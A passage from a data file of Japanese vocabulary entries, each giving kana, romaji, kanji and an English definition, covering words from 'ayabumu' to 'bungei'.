disorganized)\"\n\t},\n\n\t{\n\t\t'kana':'あやぶむ',\n\t\t'romaji':'ayabumu',\n\t\t'kanji':'危ぶむ',\n\t\t'definition':\"to fear;to have misgivings;to be doubtful;to mistrust\"\n\t},\n\n\t{\n\t\t'kana':'あやふや',\n\t\t'romaji':'ayafuya',\n\t\t'kanji':'',\n\t\t'definition':\"uncertain;vague;ambiguous\"\n\t},\n\n\t{\n\t\t'kana':'あやまち',\n\t\t'romaji':'ayamachi',\n\t\t'kanji':'過ち',\n\t\t'definition':\"fault;error;indiscretion\"\n\t},\n\n\t{\n\t\t'kana':'あやまり',\n\t\t'romaji':'ayamari',\n\t\t'kanji':'誤り',\n\t\t'definition':\"error\"\n\t},\n\n\t{\n\t\t'kana':'あやまる',\n\t\t'romaji':'ayamaru',\n\t\t'kanji':'謝る',\n\t\t'definition':\"to apologize\"\n\t},\n\n\t{\n\t\t'kana':'あやまる',\n\t\t'romaji':'ayamaru',\n\t\t'kanji':'誤る',\n\t\t'definition':\"to make a mistake\"\n\t},\n\n\t{\n\t\t'kana':'あやしい',\n\t\t'romaji':'ayashii',\n\t\t'kanji':'怪しい',\n\t\t'definition':\"suspicious;dubious;doubtful\"\n\t},\n\n\t{\n\t\t'kana':'あやつる',\n\t\t'romaji':'ayatsuru',\n\t\t'kanji':'操る',\n\t\t'definition':\"to manipulate;to operate;to pull strings\"\n\t},\n\n\t{\n\t\t'kana':'あやうい',\n\t\t'romaji':'ayaui',\n\t\t'kanji':'危うい',\n\t\t'definition':\"dangerous;critical;grave;uncertain;unreliable;limping;narrow;close;watch out!\"\n\t},\n\n\t{\n\t\t'kana':'あゆみ',\n\t\t'romaji':'ayumi',\n\t\t'kanji':'歩み',\n\t\t'definition':\"walking\"\n\t},\n\n\t{\n\t\t'kana':'あゆむ',\n\t\t'romaji':'ayumu',\n\t\t'kanji':'歩む',\n\t\t'definition':\"to walk;to go on foot\"\n\t},\n\n\t{\n\t\t'kana':'あざ',\n\t\t'romaji':'aza',\n\t\t'kanji':'字',\n\t\t'definition':\"section of village\"\n\t},\n\n\t{\n\t\t'kana':'あざ',\n\t\t'romaji':'aza',\n\t\t'kanji':'字',\n\t\t'definition':\"section of village\"\n\t},\n\n\t{\n\t\t'kana':'あざむく',\n\t\t'romaji':'azamuku',\n\t\t'kanji':'欺く',\n\t\t'definition':\"to deceive\"\n\t},\n\n\t{\n\t\t'kana':'あざわらう',\n\t\t'romaji':'azawarau',\n\t\t'kanji':'あざ笑う',\n\t\t'definition':\"to sneer at;to ridicule\"\n\t},\n\n\t{\n\t\t'kana':'あざやか',\n\t\t'romaji':'azayaka',\n\t\t'kanji':'鮮やか',\n\t\t'definition':\"vivid;clear;brilliant\"\n\t},\n\n\t{\n\t\t'kana':'アジア',\n\t\t'romaji':'azia',\n\t\t'kanji':'',\n\t\t'definition':\"Asia (i.e. the Far East)\"\n\t},\n\n\t{\n\t\t'kana':'あずかる',\n\t\t'romaji':'azukaru',\n\t\t'kanji':'預かる',\n\t\t'definition':\"to keep in custody;to receive on deposit;to take charge of\"\n\t},\n\n\t{\n\t\t'kana':'あずける',\n\t\t'romaji':'azukeru',\n\t\t'kanji':'預ける',\n\t\t'definition':\"to give into custody;to leave (a child) in the care of;to entrust;to deposit\"\n\t},\n\n\t{\n\t\t'kana':'あずま',\n\t\t'romaji':'azuma',\n\t\t'kanji':'東',\n\t\t'definition':\"east;Eastern Japan\"\n\t},\n\n\t{\n\t\t'kana':'ば',\n\t\t'romaji':'ba',\n\t\t'kanji':'場',\n\t\t'definition':\"place;field (physics)\"\n\t},\n\n\t{\n\t\t'kana':'ば',\n\t\t'romaji':'ba',\n\t\t'kanji':'場',\n\t\t'definition':\"place;field (physics)\"\n\t},\n\n\t{\n\t\t'kana':'バー',\n\t\t'romaji':'ba-',\n\t\t'kanji':'',\n\t\t'definition':\"bar\"\n\t},\n\n\t{\n\t\t'kana':'ばあい',\n\t\t'romaji':'baai',\n\t\t'kanji':'場合',\n\t\t'definition':\"case;situation\"\n\t},\n\n\t{\n\t\t'kana':'ばち',\n\t\t'romaji':'bachi',\n\t\t'kanji':'罰',\n\t\t'definition':\"(divine) punishment;curse;retribution\"\n\t},\n\n\t{\n\t\t'kana':'バッグ',\n\t\t'romaji':'bagu',\n\t\t'kanji':'',\n\t\t'definition':\"bag;bug\"\n\t},\n\n\t{\n\t\t'kana':'ばい',\n\t\t'romaji':'bai',\n\t\t'kanji':'倍',\n\t\t'definition':\"twice;times;-fold;double;be doubled;increase\"\n\t},\n\n\t{\n\t\t'kana':'ばいばい',\n\t\t'romaji':'baibai',\n\t\t'kanji':'売買',\n\t\t'definition':\"trade;buying and selling\"\n\t},\n\n\t{\n\t\t'kana':'ばいきん',\n\t\t'romaji':'baikin',\n\t\t'kanji':'黴菌',\n\t\t'definition':\"bacteria;germ(s)\"\n\t},\n\n\t{\n\t\t'kana':'バイオリン',\n\t\t'romaji':'baiorin',\n\t\t'kanji':'',\n\t\t'definition':\"violin\"\n\t},\n\n\t{\n\t\t'kana':'ばいりつ',\n\t\t'romaji':'bairitsu',\n\t\t'kanji':'倍率',\n\t\t'definition':\"diameter;magnification\"\n\t},\n\n\t{\n\t\t'kana':'ばいしょう',\n\t\t'romaji':'baishou',\n\t\t'kanji':'賠償',\n\t\t'definition':\"reparations;indemnity;compensation\"\n\t},\n\n\t{\n\t\t'kana':'ばいてん',\n\t\t'romaji':'baiten',\n\t\t'kanji':'売店',\n\t\t'definition':\"shop;stand\"\n\t},\n\n\t{\n\t\t'kana':'ばか',\n\t\t'romaji':'baka',\n\t\t'kanji':'馬鹿',\n\t\t'definition':\"fool;idiot;trivial matter;folly\"\n\t},\n\n\t{\n\t\t'kana':'ばかばかしい',\n\t\t'romaji':'bakabakashii',\n\t\t'kanji':'馬鹿馬鹿しい',\n\t\t'definition':\"stupid\"\n\t},\n\n\t{\n\t\t'kana':'ばからしい',\n\t\t'romaji':'bakarashii',\n\t\t'kanji':'馬鹿らしい',\n\t\t'definition':\"absurd\"\n\t},\n\n\t{\n\t\t'kana':'ばける',\n\t\t'romaji':'bakeru',\n\t\t'kanji':'化ける',\n\t\t'definition':\"to appear in disguise;to take the form of;to change for the worse\"\n\t},\n\n\t{\n\t\t'kana':'バケツ',\n\t\t'romaji':'baketsu',\n\t\t'kanji':'',\n\t\t'definition':\"bucket;pail\"\n\t},\n\n\t{\n\t\t'kana':'バック',\n\t\t'romaji':'baku',\n\t\t'kanji':'',\n\t\t'definition':\"back\"\n\t},\n\n\t{\n\t\t'kana':'ばくだい',\n\t\t'romaji':'bakudai',\n\t\t'kanji':'莫大',\n\t\t'definition':\"enormous;vast\"\n\t},\n\n\t{\n\t\t'kana':'ばくだん',\n\t\t'romaji':'bakudan',\n\t\t'kanji':'爆弾',\n\t\t'definition':\"bomb\"\n\t},\n\n\t{\n\t\t'kana':'ばくは',\n\t\t'romaji':'bakuha',\n\t\t'kanji':'爆破',\n\t\t'definition':\"blast;explosion;blow up\"\n\t},\n\n\t{\n\t\t'kana':'ばくはつ',\n\t\t'romaji':'bakuhatsu',\n\t\t'kanji':'爆発',\n\t\t'definition':\"explosion;detonation;eruption\"\n\t},\n\n\t{\n\t\t'kana':'ばくろ',\n\t\t'romaji':'bakuro',\n\t\t'kanji':'暴露',\n\t\t'definition':\"disclosure;exposure;revelation\"\n\t},\n\n\t{\n\t\t'kana':'ばくぜん',\n\t\t'romaji':'bakuzen',\n\t\t'kanji':'漠然',\n\t\t'definition':\"obscure;vague;equivocal\"\n\t},\n\n\t{\n\t\t'kana':'ばめん',\n\t\t'romaji':'bamen',\n\t\t'kanji':'場面',\n\t\t'definition':\"scene;setting (e.g. of novel)\"\n\t},\n\n\t{\n\t\t'kana':'バン',\n\t\t'romaji':'ban',\n\t\t'kanji':'',\n\t\t'definition':\"bun;van (caravan);VAN (value-added network)\"\n\t},\n\n\t{\n\t\t'kana':'ばん',\n\t\t'romaji':'ban',\n\t\t'kanji':'万',\n\t\t'definition':\"many;all\"\n\t},\n\n\t{\n\t\t'kana':'ばん',\n\t\t'romaji':'ban',\n\t\t'kanji':'万',\n\t\t'definition':\"many;all\"\n\t},\n\n\t{\n\t\t'kana':'ばん',\n\t\t'romaji':'ban',\n\t\t'kanji':'判',\n\t\t'definition':\"size (of paper or books)\"\n\t},\n\n\t{\n\t\t'kana':'ばん',\n\t\t'romaji':'ban',\n\t\t'kanji':'晩',\n\t\t'definition':\"evening\"\n\t},\n\n\t{\n\t\t'kana':'ばんち',\n\t\t'romaji':'banchi',\n\t\t'kanji':'番地',\n\t\t'definition':\"house number;address\"\n\t},\n\n\t{\n\t\t'kana':'バンド',\n\t\t'romaji':'bando',\n\t\t'kanji':'',\n\t\t'definition':\"band\"\n\t},\n\n\t{\n\t\t'kana':'ばね',\n\t\t'romaji':'bane',\n\t\t'kanji':'発条',\n\t\t'definition':\"spring (e.g. coil leaf)\"\n\t},\n\n\t{\n\t\t'kana':'ばんごう',\n\t\t'romaji':'bangou',\n\t\t'kanji':'番号',\n\t\t'definition':\"number;series of digits\"\n\t},\n\n\t{\n\t\t'kana':'ばんぐみ',\n\t\t'romaji':'bangumi',\n\t\t'kanji':'番組',\n\t\t'definition':\"program (e.g. TV)\"\n\t},\n\n\t{\n\t\t'kana':'ばんじん',\n\t\t'romaji':'banjin',\n\t\t'kanji':'万人',\n\t\t'definition':\"all people;everybody;10000 people\"\n\t},\n\n\t{\n\t\t'kana':'ばんめ',\n\t\t'romaji':'banme',\n\t\t'kanji':'番目',\n\t\t'definition':\"cardinal number suffix\"\n\t},\n\n\t{\n\t\t'kana':'ばんねん',\n\t\t'romaji':'bannen',\n\t\t'kanji':'晩年',\n\t\t'definition':\"(one's) last years\"\n\t},\n\n\t{\n\t\t'kana':'ばんのう',\n\t\t'romaji':'bannou',\n\t\t'kanji':'万能',\n\t\t'definition':\"all-purpose;almighty;omnipotent\"\n\t},\n\n\t{\n\t\t'kana':'ばんざい',\n\t\t'romaji':'banzai',\n\t\t'kanji':'万歳',\n\t\t'definition':\"hurrah;longlife;congratulations;cheers\"\n\t},\n\n\t{\n\t\t'kana':'ばらまく',\n\t\t'romaji':'baramaku',\n\t\t'kanji':'散蒔く',\n\t\t'definition':\"to disseminate;to scatter;to give money freely\"\n\t},\n\n\t{\n\t\t'kana':'バランス',\n\t\t'romaji':'baransu',\n\t\t'kanji':'',\n\t\t'definition':\"balance\"\n\t},\n\n\t{\n\t\t'kana':'ばしょ',\n\t\t'romaji':'basho',\n\t\t'kanji':'場所',\n\t\t'definition':\"place;location\"\n\t},\n\n\t{\n\t\t'kana':'ばっする',\n\t\t'romaji':'bassuru',\n\t\t'kanji':'罰する',\n\t\t'definition':\"to punish;to penalize\"\n\t},\n\n\t{\n\t\t'kana':'バス',\n\t\t'romaji':'basu',\n\t\t'kanji':'',\n\t\t'definition':\"bus;bath;bass\"\n\t},\n\n\t{\n\t\t'kana':'バス',\n\t\t'romaji':'basu',\n\t\t'kanji':'',\n\t\t'definition':\"bus;bath;bass\"\n\t},\n\n\t{\n\t\t'kana':'バター',\n\t\t'romaji':'bata-',\n\t\t'kanji':'',\n\t\t'definition':\"butter\"\n\t},\n\n\t{\n\t\t'kana':'ばてる',\n\t\t'romaji':'bateru',\n\t\t'kanji':'',\n\t\t'definition':\"to be exhausted;to be worn out\"\n\t},\n\n\t{\n\t\t'kana':'バット',\n\t\t'romaji':'bato',\n\t\t'kanji':'',\n\t\t'definition':\"bat;vat\"\n\t},\n\n\t{\n\t\t'kana':'ばつ',\n\t\t'romaji':'batsu',\n\t\t'kanji':'伐',\n\t\t'definition':\"strike;attack;punish\"\n\t},\n\n\t{\n\t\t'kana':'ばったり',\n\t\t'romaji':'battari',\n\t\t'kanji':'',\n\t\t'definition':\"with a clash (thud);with a bang;plump;flop;suddenly;abruptly;unexpectedly\"\n\t},\n\n\t{\n\t\t'kana':'バッジ',\n\t\t'romaji':'bazi',\n\t\t'kanji':'',\n\t\t'definition':\"badge\"\n\t},\n\n\t{\n\t\t'kana':'ベッド',\n\t\t'romaji':'bedo',\n\t\t'kanji':'',\n\t\t'definition':\"bed\"\n\t},\n\n\t{\n\t\t'kana':'べんぎ',\n\t\t'romaji':'bengi',\n\t\t'kanji':'便宜',\n\t\t'definition':\"convenience;accommodation;advantage;expedience\"\n\t},\n\n\t{\n\t\t'kana':'べんご',\n\t\t'romaji':'bengo',\n\t\t'kanji':'弁護',\n\t\t'definition':\"defense;pleading;advocacy\"\n\t},\n\n\t{\n\t\t'kana':'べんじょ',\n\t\t'romaji':'benjyo',\n\t\t'kanji':'便所',\n\t\t'definition':\"toilet;lavatory;rest room;latrine;comfort station\"\n\t},\n\n\t{\n\t\t'kana':'べんかい',\n\t\t'romaji':'benkai',\n\t\t'kanji':'弁解',\n\t\t'definition':\"explanation;justification;defence;excuse\"\n\t},\n\n\t{\n\t\t'kana':'べんきょう',\n\t\t'romaji':'benkyou',\n\t\t'kanji':'勉強',\n\t\t'definition':\"study;diligence;discount;reduction\"\n\t},\n\n\t{\n\t\t'kana':'べんり',\n\t\t'romaji':'benri',\n\t\t'kanji':'便利',\n\t\t'definition':\"convenient;handy;useful\"\n\t},\n\n\t{\n\t\t'kana':'べんろん',\n\t\t'romaji':'benron',\n\t\t'kanji':'弁論',\n\t\t'definition':\"discussion;debate;argument\"\n\t},\n\n\t{\n\t\t'kana':'べんしょう',\n\t\t'romaji':'benshou',\n\t\t'kanji':'弁償',\n\t\t'definition':\"next word;compensation;reparation;indemnity;reimbursement\"\n\t},\n\n\t{\n\t\t'kana':'べんとう',\n\t\t'romaji':'bentou',\n\t\t'kanji':'弁当',\n\t\t'definition':\"box lunch\"\n\t},\n\n\t{\n\t\t'kana':'ベル',\n\t\t'romaji':'beru',\n\t\t'kanji':'',\n\t\t'definition':\"bell (BEL)\"\n\t},\n\n\t{\n\t\t'kana':'ベルト',\n\t\t'romaji':'beruto',\n\t\t'kanji':'',\n\t\t'definition':\"Belt for western clothes\"\n\t},\n\n\t{\n\t\t'kana':'べっそう',\n\t\t'romaji':'bessou',\n\t\t'kanji':'別荘',\n\t\t'definition':\"holiday house;villa\"\n\t},\n\n\t{\n\t\t'kana':'ベース',\n\t\t'romaji':'be-su',\n\t\t'kanji':'',\n\t\t'definition':\"base;bass\"\n\t},\n\n\t{\n\t\t'kana':'ベスト',\n\t\t'romaji':'besuto',\n\t\t'kanji':'',\n\t\t'definition':\"best;vest\"\n\t},\n\n\t{\n\t\t'kana':'ベストセラー',\n\t\t'romaji':'besutosera-',\n\t\t'kanji':'',\n\t\t'definition':\"best-seller\"\n\t},\n\n\t{\n\t\t'kana':'ベテラン',\n\t\t'romaji':'beteran',\n\t\t'kanji':'',\n\t\t'definition':\"veteran\"\n\t},\n\n\t{\n\t\t'kana':'べつ',\n\t\t'romaji':'betsu',\n\t\t'kanji':'別',\n\t\t'definition':\"distinction;difference;different;another;particular;separate;extra;exception\"\n\t},\n\n\t{\n\t\t'kana':'べつべつ',\n\t\t'romaji':'betsubetsu',\n\t\t'kanji':'別々',\n\t\t'definition':\"separately;individually\"\n\t},\n\n\t{\n\t\t'kana':'べつに',\n\t\t'romaji':'betsuni',\n\t\t'kanji':'別に',\n\t\t'definition':\"(not) particularly;nothing\"\n\t},\n\n\t{\n\t\t'kana':'び',\n\t\t'romaji':'bi',\n\t\t'kanji':'美',\n\t\t'definition':\"beauty\"\n\t},\n\n\t{\n\t\t'kana':'ビデオ',\n\t\t'romaji':'bideo',\n\t\t'kanji':'',\n\t\t'definition':\"video\"\n\t},\n\n\t{\n\t\t'kana':'びじん',\n\t\t'romaji':'bijin',\n\t\t'kanji':'美人',\n\t\t'definition':\"beautiful person (woman)\"\n\t},\n\n\t{\n\t\t'kana':'びじゅつ',\n\t\t'romaji':'bijyutsu',\n\t\t'kanji':'美術',\n\t\t'definition':\"art;fine arts\"\n\t},\n\n\t{\n\t\t'kana':'びっくり',\n\t\t'romaji':'bikkuri',\n\t\t'kanji':'吃驚',\n\t\t'definition':\"be surprised;be amazed;be frightened;astonishment\"\n\t},\n\n\t{\n\t\t'kana':'びみょう',\n\t\t'romaji':'bimyou',\n\t\t'kanji':'微妙',\n\t\t'definition':\"delicate;subtle\"\n\t},\n\n\t{\n\t\t'kana':'びん',\n\t\t'romaji':'bin',\n\t\t'kanji':'便',\n\t\t'definition':\"mail;post;flight (e.g. airline flight);service;opportunity;chance;letter\"\n\t},\n\n\t{\n\t\t'kana':'びん',\n\t\t'romaji':'bin',\n\t\t'kanji':'便',\n\t\t'definition':\"mail;post;flight (e.g. airline flight);service;opportunity;chance;letter\"\n\t},\n\n\t{\n\t\t'kana':'びんぼう',\n\t\t'romaji':'binbou',\n\t\t'kanji':'貧乏',\n\t\t'definition':\"poverty;destitute;poor\"\n\t},\n\n\t{\n\t\t'kana':'びんづめ',\n\t\t'romaji':'bindume',\n\t\t'kanji':'瓶詰',\n\t\t'definition':\"bottling;bottled\"\n\t},\n\n\t{\n\t\t'kana':'ビニール',\n\t\t'romaji':'bini-ru',\n\t\t'kanji':'',\n\t\t'definition':\"vinyl\"\n\t},\n\n\t{\n\t\t'kana':'びんかん',\n\t\t'romaji':'binkan',\n\t\t'kanji':'敏感',\n\t\t'definition':\"sensibility;susceptibility;sensitive (to);well attuned to\"\n\t},\n\n\t{\n\t\t'kana':'びんせん',\n\t\t'romaji':'binsen',\n\t\t'kanji':'便箋',\n\t\t'definition':\"writing paper;stationery\"\n\t},\n\n\t{\n\t\t'kana':'びり',\n\t\t'romaji':'biri',\n\t\t'kanji':'',\n\t\t'definition':\"last on the list;at the bottom\"\n\t},\n\n\t{\n\t\t'kana':'ビル',\n\t\t'romaji':'biru',\n\t\t'kanji':'',\n\t\t'definition':\"building;bill\"\n\t},\n\n\t{\n\t\t'kana':'ビール',\n\t\t'romaji':'bi-ru',\n\t\t'kanji':'',\n\t\t'definition':\"beer\"\n\t},\n\n\t{\n\t\t'kana':'ビールス',\n\t\t'romaji':'bi-rusu',\n\t\t'kanji':'',\n\t\t'definition':\"virus\"\n\t},\n\n\t{\n\t\t'kana':'びりょう',\n\t\t'romaji':'biryou',\n\t\t'kanji':'微量',\n\t\t'definition':\"minuscule amount;extremely small quantity\"\n\t},\n\n\t{\n\t\t'kana':'びっしょり',\n\t\t'romaji':'bishori',\n\t\t'kanji':'',\n\t\t'definition':\"wet through;drenched\"\n\t},\n\n\t{\n\t\t'kana':'びしょう',\n\t\t'romaji':'bishou',\n\t\t'kanji':'微笑',\n\t\t'definition':\"smile\"\n\t},\n\n\t{\n\t\t'kana':'ビタミン',\n\t\t'romaji':'bitamin',\n\t\t'kanji':'',\n\t\t'definition':\"vitamin\"\n\t},\n\n\t{\n\t\t'kana':'びよう',\n\t\t'romaji':'biyou',\n\t\t'kanji':'美容',\n\t\t'definition':\"beauty of figure or form\"\n\t},\n\n\t{\n\t\t'kana':'ビジネス',\n\t\t'romaji':'bizinesu',\n\t\t'kanji':'',\n\t\t'definition':\"business\"\n\t},\n\n\t{\n\t\t'kana':'ぼっちゃん',\n\t\t'romaji':'bochan',\n\t\t'kanji':'坊ちゃん',\n\t\t'definition':\"son (of others)\"\n\t},\n\n\t{\n\t\t'kana':'ボーイ',\n\t\t'romaji':'bo-i',\n\t\t'kanji':'',\n\t\t'definition':\"boy\"\n\t},\n\n\t{\n\t\t'kana':'ボイコット',\n\t\t'romaji':'boikoto',\n\t\t'kanji':'',\n\t\t'definition':\"boycott\"\n\t},\n\n\t{\n\t\t'kana':'ぼきん',\n\t\t'romaji':'bokin',\n\t\t'kanji':'募金',\n\t\t'definition':\"fund-raising;collection of funds\"\n\t},\n\n\t{\n\t\t'kana':'ぼこく',\n\t\t'romaji':'bokoku',\n\t\t'kanji':'母国',\n\t\t'definition':\"one's homeland\"\n\t},\n\n\t{\n\t\t'kana':'ぼこう',\n\t\t'romaji':'bokou',\n\t\t'kanji':'母校',\n\t\t'definition':\"alma mater\"\n\t},\n\n\t{\n\t\t'kana':'ぼくちく',\n\t\t'romaji':'bokuchiku',\n\t\t'kanji':'牧畜',\n\t\t'definition':\"stock-farming\"\n\t},\n\n\t{\n\t\t'kana':'ぼくじょう',\n\t\t'romaji':'bokujyou',\n\t\t'kanji':'牧場',\n\t\t'definition':\"1. farm (livestock); 2. pasture land;meadow;grazing land\"\n\t},\n\n\t{\n\t\t'kana':'ぼくし',\n\t\t'romaji':'bokushi',\n\t\t'kanji':'牧師',\n\t\t'definition':\"pastor;minister;clergyman\"\n\t},\n\n\t{\n\t\t'kana':'ぼん',\n\t\t'romaji':'bon',\n\t\t'kanji':'盆',\n\t\t'definition':\"Lantern Festival;Festival of the Dead;tray\"\n\t},\n\n\t{\n\t\t'kana':'ボーナス',\n\t\t'romaji':'bo-nasu',\n\t\t'kanji':'',\n\t\t'definition':\"bonus\"\n\t},\n\n\t{\n\t\t'kana':'ぼんち',\n\t\t'romaji':'bonchi',\n\t\t'kanji':'盆地',\n\t\t'definition':\"basin (e.g. between mountains)\"\n\t},\n\n\t{\n\t\t'kana':'ぼろ',\n\t\t'romaji':'boro',\n\t\t'kanji':'藍褸',\n\t\t'definition':\"rag;scrap;tattered clothes;fault (esp. in a pretense);defect;run-down or junky\"\n\t},\n\n\t{\n\t\t'kana':'ボール',\n\t\t'romaji':'bo-ru',\n\t\t'kanji':'',\n\t\t'definition':\"ball;bowl\"\n\t},\n\n\t{\n\t\t'kana':'ボールペン',\n\t\t'romaji':'bo-rupen',\n\t\t'kanji':'',\n\t\t'definition':\"ball-point pen\"\n\t},\n\n\t{\n\t\t'kana':'ボルト',\n\t\t'romaji':'boruto',\n\t\t'kanji':'',\n\t\t'definition':\"volt;bolt\"\n\t},\n\n\t{\n\t\t'kana':'ぼっしゅう',\n\t\t'romaji':'boshuu',\n\t\t'kanji':'没収',\n\t\t'definition':\"forfeited\"\n\t},\n\n\t{\n\t\t'kana':'ぼしゅう',\n\t\t'romaji':'boshuu',\n\t\t'kanji':'募集',\n\t\t'definition':\"recruiting;taking applications\"\n\t},\n\n\t{\n\t\t'kana':'ボタン',\n\t\t'romaji':'botan',\n\t\t'kanji':'',\n\t\t'definition':\"(pt:) (n) button (pt: bota~o)\"\n\t},\n\n\t{\n\t\t'kana':'ボート',\n\t\t'romaji':'bo-to',\n\t\t'kanji':'',\n\t\t'definition':\"rowing boat\"\n\t},\n\n\t{\n\t\t'kana':'ぼつぼつ',\n\t\t'romaji':'botsubotsu',\n\t\t'kanji':'',\n\t\t'definition':\"gradually;here and there;spots;pimples\"\n\t},\n\n\t{\n\t\t'kana':'ぼつらく',\n\t\t'romaji':'botsuraku',\n\t\t'kanji':'没落',\n\t\t'definition':\"ruin;fall;collapse\"\n\t},\n\n\t{\n\t\t'kana':'ぼう',\n\t\t'romaji':'bou',\n\t\t'kanji':'卯',\n\t\t'definition':\"fourth sign of Chinese zodiac (The Hare 5am-7am east February)\"\n\t},\n\n\t{\n\t\t'kana':'ぼう',\n\t\t'romaji':'bou',\n\t\t'kanji':'棒',\n\t\t'definition':\"pole;rod;stick\"\n\t},\n\n\t{\n\t\t'kana':'ぼうちょう',\n\t\t'romaji':'bouchou',\n\t\t'kanji':'膨脹',\n\t\t'definition':\"expansion;swelling;increase;growth\"\n\t},\n\n\t{\n\t\t'kana':'ぼうだい',\n\t\t'romaji':'boudai',\n\t\t'kanji':'膨大',\n\t\t'definition':\"huge;bulky;enormous;extensive;swelling;expansion\"\n\t},\n\n\t{\n\t\t'kana':'ぼうどう',\n\t\t'romaji':'boudou',\n\t\t'kanji':'暴動',\n\t\t'definition':\"insurrection;rebellion;revolt;riot;uprising\"\n\t},\n\n\t{\n\t\t'kana':'ぼうえい',\n\t\t'romaji':'bouei',\n\t\t'kanji':'防衛',\n\t\t'definition':\"defense;protection;self-defense\"\n\t},\n\n\t{\n\t\t'kana':'ぼうえき',\n\t\t'romaji':'boueki',\n\t\t'kanji':'貿易',\n\t\t'definition':\"trade (foreign)\"\n\t},\n\n\t{\n\t\t'kana':'ぼうえんきょう',\n\t\t'romaji':'bouenkyou',\n\t\t'kanji':'望遠鏡',\n\t\t'definition':\"telescope\"\n\t},\n\n\t{\n\t\t'kana':'ぼうふう',\n\t\t'romaji':'boufuu',\n\t\t'kanji':'暴風',\n\t\t'definition':\"storm;windstorm;gale\"\n\t},\n\n\t{\n\t\t'kana':'ぼうがい',\n\t\t'romaji':'bougai',\n\t\t'kanji':'妨害',\n\t\t'definition':\"disturbance;obstruction;hindrance;jamming;interference\"\n\t},\n\n\t{\n\t\t'kana':'ぼうはん',\n\t\t'romaji':'bouhan',\n\t\t'kanji':'防犯',\n\t\t'definition':\"prevention of crime\"\n\t},\n\n\t{\n\t\t'kana':'ぼうか',\n\t\t'romaji':'bouka',\n\t\t'kanji':'防火',\n\t\t'definition':\"fire prevention;fire fighting;fire proof\"\n\t},\n\n\t{\n\t\t'kana':'ぼうけん',\n\t\t'romaji':'bouken',\n\t\t'kanji':'冒険',\n\t\t'definition':\"risk;venture;adventure\"\n\t},\n\n\t{\n\t\t'kana':'ぼうりょく',\n\t\t'romaji':'bouryoku',\n\t\t'kanji':'暴力',\n\t\t'definition':\"violence\"\n\t},\n\n\t{\n\t\t'kana':'ぼうさん',\n\t\t'romaji':'bousan',\n\t\t'kanji':'坊さん',\n\t\t'definition':\"Buddhist priest;monk\"\n\t},\n\n\t{\n\t\t'kana':'ぼうせき',\n\t\t'romaji':'bouseki',\n\t\t'kanji':'紡績',\n\t\t'definition':\"spinning\"\n\t},\n\n\t{\n\t\t'kana':'ぼうし',\n\t\t'romaji':'boushi',\n\t\t'kanji':'防止',\n\t\t'definition':\"prevention;check\"\n\t},\n\n\t{\n\t\t'kana':'ぼうし',\n\t\t'romaji':'boushi',\n\t\t'kanji':'帽子',\n\t\t'definition':\"hat\"\n\t},\n\n\t{\n\t\t'kana':'ぼうとう',\n\t\t'romaji':'boutou',\n\t\t'kanji':'冒頭',\n\t\t'definition':\"beginning;start;outset\"\n\t},\n\n\t{\n\t\t'kana':'ぼうや',\n\t\t'romaji':'bouya',\n\t\t'kanji':'坊や',\n\t\t'definition':\"boy\"\n\t},\n\n\t{\n\t\t'kana':'ぼうぜん',\n\t\t'romaji':'bouzen',\n\t\t'kanji':'呆然',\n\t\t'definition':\"dumbfounded;overcome with surprise;in blank amazement\"\n\t},\n\n\t{\n\t\t'kana':'ぼやける',\n\t\t'romaji':'boyakeru',\n\t\t'kanji':'',\n\t\t'definition':\"to become dim;to become blurred\"\n\t},\n\n\t{\n\t\t'kana':'ぼやく',\n\t\t'romaji':'boyaku',\n\t\t'kanji':'',\n\t\t'definition':\"to grumble;to complain\"\n\t},\n\n\t{\n\t\t'kana':'ぶ',\n\t\t'romaji':'bu',\n\t\t'kanji':'部',\n\t\t'definition':\"department;part;category;counter for copies of a newspaper or magazine\"\n\t},\n\n\t{\n\t\t'kana':'ぶ',\n\t\t'romaji':'bu',\n\t\t'kanji':'部',\n\t\t'definition':\"department;part;category;counter for copies of a newspaper or magazine\"\n\t},\n\n\t{\n\t\t'kana':'ぶぶん',\n\t\t'romaji':'bubun',\n\t\t'kanji':'部分',\n\t\t'definition':\"portion;section;part\"\n\t},\n\n\t{\n\t\t'kana':'ぶち',\n\t\t'romaji':'buchi',\n\t\t'kanji':'斑',\n\t\t'definition':\"spots;speckles;mottles\"\n\t},\n\n\t{\n\t\t'kana':'ぶひん',\n\t\t'romaji':'buhin',\n\t\t'kanji':'部品',\n\t\t'definition':\"parts;accessories\"\n\t},\n\n\t{\n\t\t'kana':'ぶじ',\n\t\t'romaji':'buji',\n\t\t'kanji':'無事',\n\t\t'definition':\"safety;peace;quietness\"\n\t},\n\n\t{\n\t\t'kana':'ぶじょく',\n\t\t'romaji':'bujyoku',\n\t\t'kanji':'侮辱',\n\t\t'definition':\"insult;contempt;slight\"\n\t},\n\n\t{\n\t\t'kana':'ぶっか',\n\t\t'romaji':'buka',\n\t\t'kanji':'物価',\n\t\t'definition':\"prices of commodities;prices (in general)\"\n\t},\n\n\t{\n\t\t'kana':'ぶか',\n\t\t'romaji':'buka',\n\t\t'kanji':'部下',\n\t\t'definition':\"subordinate person\"\n\t},\n\n\t{\n\t\t'kana':'ぶかぶか',\n\t\t'romaji':'bukabuka',\n\t\t'kanji':'',\n\t\t'definition':\"too big;baggy\"\n\t},\n\n\t{\n\t\t'kana':'ぶき',\n\t\t'romaji':'buki',\n\t\t'kanji':'武器',\n\t\t'definition':\"weapon;arms;ordinance\"\n\t},\n\n\t{\n\t\t'kana':'ぶもん',\n\t\t'romaji':'bumon',\n\t\t'kanji':'部門',\n\t\t'definition':\"class;group;category;department;field;branch\"\n\t},\n\n\t{\n\t\t'kana':'ブーム',\n\t\t'romaji':'bu-mu',\n\t\t'kanji':'',\n\t\t'definition':\"boom\"\n\t},\n\n\t{\n\t\t'kana':'ぶなん',\n\t\t'romaji':'bunan',\n\t\t'kanji':'無難',\n\t\t'definition':\"safety;security\"\n\t},\n\n\t{\n\t\t'kana':'ぶんぼ',\n\t\t'romaji':'bunbo',\n\t\t'kanji':'分母',\n\t\t'definition':\"denominator\"\n\t},\n\n\t{\n\t\t'kana':'ぶんぼうぐ',\n\t\t'romaji':'bunbougu',\n\t\t'kanji':'文房具',\n\t\t'definition':\"stationery\"\n\t},\n\n\t{\n\t\t'kana':'ぶんがく',\n\t\t'romaji':'bungaku',\n\t\t'kanji':'文学',\n\t\t'definition':\"literature\"\n\t},\n\n\t{\n\t\t'kana':'ぶんげい',\n\t\t'romaji':'bungei',\n\t\t'kanji':'文芸',\n\t\t'definition':\"literature;art and 